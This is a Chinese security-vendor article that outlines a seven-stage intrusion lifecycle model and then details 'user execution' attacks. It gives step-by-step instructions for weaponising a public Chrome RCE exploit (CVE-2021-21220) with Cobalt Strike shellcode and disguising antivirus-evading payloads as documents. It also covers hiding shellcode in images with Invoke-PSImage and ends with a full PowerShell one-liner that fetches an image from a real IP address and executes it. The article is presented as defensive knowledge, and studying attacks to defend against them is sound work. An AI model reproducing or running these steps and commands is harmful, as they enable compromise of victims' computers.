美创科技为了更好地进行入侵检测和防御，参照各种安全威胁框架和自身的实践与思考，提出了基于入侵生命周期的攻击管理模型。作为美创新一代安全架构的三大支柱之一。入侵生命周期v1.0把入侵过程划分为7个阶段：探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库，匹配到不同的入侵阶段。需要注意的是，并非所有的入侵都会经历这7个阶段，也没有绝对的线性次序。1）探索发现在这个阶段中，攻击者会先锁定攻击对象，然后利用某些技术手段，尽可能多地获取目标暴露出来的信息，如通过端口扫描、指纹探测等方式，发现敏感端口及版本信息，进而寻找攻击点，为下一步入侵做准备。2）入侵和感染 在这个阶段，攻击者会根据“探索发现”阶段所发现的重要信息，来对目标暴露出的攻击面进行攻击尝试，在“探索发现”阶段收集到的信息越多，攻击对象所暴露的攻击面也就越多，攻击更易成功。
3）探索感知攻击者在成功进入系统内部后，由于是首次进入所以会出现对内部环境不熟悉的情况，这时攻击者的动作一般会是对当前所处环境进行探索，摸清内部大致的网络结构，常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描，后续根据攻击者的目的进行下一步操作。4）传播在此阶段，攻击者根据上一阶段在内网探索感知收集到的信息，选择特定的攻击手法。如若发现内部是域环境，攻击者可能会尝试先攻破域控服务器，再传播其他机器。若是工作组环境，可能会利用收集到的端口和服务信息，选择特定漏洞进行批量扫描攻击，来尽可能多地继续获得其他计算机的控制权。5）持久化攻击者在对资产进行恶意操作后，为了能够减少再次连接的攻击成本，方便下次进入，会进行“留后门”的操作，常见的后门如：建立计划任务，定时连接远程服务器；设置开机启动程序，在每次开机时触发执行特定恶意程序；新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。6）攻击和利用攻击者在此阶段便会开始对目标资产进行恶意操作，按照攻击者意愿，对能利用的数据进行窃取、利用；对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。7）恢复攻击者在执行所有的攻击操作时，往往会在系统上留下大量的行为日志，因此在这一阶段，攻击者会对记录自身痕迹的所有日志进行处理，或删除或混淆，从而消灭证据，逃避追踪。本系列文章基于美创科技入侵生命周期1.0架构，细分个阶段攻击者的常用攻击手段，并对相关攻击手段的具体实施方式进行逐一剖析，为安全防御建设提供有力知识补充和反制准备。 用户执行攻击
入侵和感染
用户执行攻击，顾名思义，就是恶意操作是由用户进行触发的。这种攻击方式往往会基于社会工程学进行。从攻击者的角度来分析，当攻击者经过较多的尝试以及较长的时间都无法找到目标组织的外部突破口时，通常会利用社会工程学等手段，通过受害者来执行恶意操作获取目标主机权限。如将恶意文件发送给受害者，并诱骗受害者打开，达到利用受害者的身份权限执行恶意操作的目的。根据攻击者的入侵流程和操作手段，利用用户执行攻击在入侵过程的初期打点阶段，可以帮助攻击者进行初期的入侵尝试，从入侵生命周期角度分析，客户端执行利用攻击可作用于攻击者入侵和感染阶段。在入侵和感染阶段，攻击者利用前期收集的受害者个人信息，通过社交媒体、邮件等方式，发送恶意链接、文件、图片等，并引诱受害者打开，从而获得受害者主机控制权。从攻击行为链条的上下文来看，针对利用用户执行进行攻击的行为链条输入输出如下：输入：恶意链接、恶意文件、恶意图片输出：打开恶意链接、恶意文件、恶意图片后所执行的恶意操作根据不同攻击思路，攻击者利用用户执行进行攻击的攻击手法通常有3种：1.通过诱使用户点击恶意链接进行攻击以Chrome 远程代码执行漏洞（CVE-2021-21220）为例，该漏洞影响版本<=89.0.4349.114的Chrome客户端，受害者只要点击了攻击者构造了恶意页面的网页链接，即可执行恶意代码。 安装89.0.4349.114版本的Chrome客户端
使用无沙箱模式启动Chrome客户端
"C:Usersh4nAppDataLocalGoogleChromeApplicationchrome.exe"-no-sandbox
从github上下载该漏洞的exp
https://github.com/r4j0x00/exploits/tree/master/chrome-0day
将exp放置到本地的文件夹中，然后使用浏览器访问exploit.html文件路径
成功弹出计算器，本地代码执行成功
使用Cobalt Strike生成c语言的payload
将生成的c语言payload处理后替换掉exp中的shellcode
将制作好的html文件上传到vps上，构造访问链接
将链接发给受害者，受害者点击后即可在Cobalt Strike上看到主机上线
2. 通过诱使用户下载恶意文件并打开进行攻击
使用Cobalt Strike生成c语言payload
对生成的payload进行免杀并生成.exe可执行文件
生成的可执行文件可以加入.doc、.docx等进行伪装
将恶意文件进行压缩后通过邮件、社交媒体等方式发送给受害者
当受害者接收文件并解压打开，即可在Cobalt Strike上看到主机上线
3、通过诱使用户打开恶意图片进行攻击
自行创建或注册一个XSS平台，创建一个项目
查看项目源代码，获取恶意图片链接
将恶意图片链接发送给受害者并诱使其打开
受害者使用浏览器打开恶意图片后，攻击者即可获取受害者客户端信息
除了上述可以在图片中插入javascript代码之外，还可以在图片中插入shellcode然后通过类似于dll注入的方式进行命令执行
首先使用Cobalt Strike生成一个powershell的shellcode
然后下载图片shellcode注入工具
https://github.com/dayuxiyou/Invoke-PSImage
并将注入工具、shellcode文件、待注入的图片文件放置在相同目录下
打开powershell，一次执行下列命令
Set-ExecutionPolicy Unrestricted -ScopeCurrentUser
Import-Module .Invoke-PSimage.ps1
Invoke-PSImage -Script .payload.ps1 -Image.shell.jpg -Out .shell.png -Web
会生成一张包含shellcode的图片文件，同时会生成一串powershell命令
将恶意图片放置到vps上，并替换命令中的远程图片链接
sal a New-Object;Add-Type -ASystem.Drawing;$g=a System.Drawing.Bitmap((aNet.WebClient).OpenRead("http://45.77.185.187:9991/shell.png"));$o=aByte`` 3885;(0..6)|%{foreach($xin(0..554)){$p=$g.GetPixel($x,$_);$o`$_*555+$x`=(`math`::Floor(($p.B-band15)*16)-bor($p.G-band 15))}};IEX(`System.Text.Encoding`::ASCII.GetString($o`0..3550`))
在受害者机器上执行上述命令，即可看到机器上线cs
浙公网安备 33010502006954号 
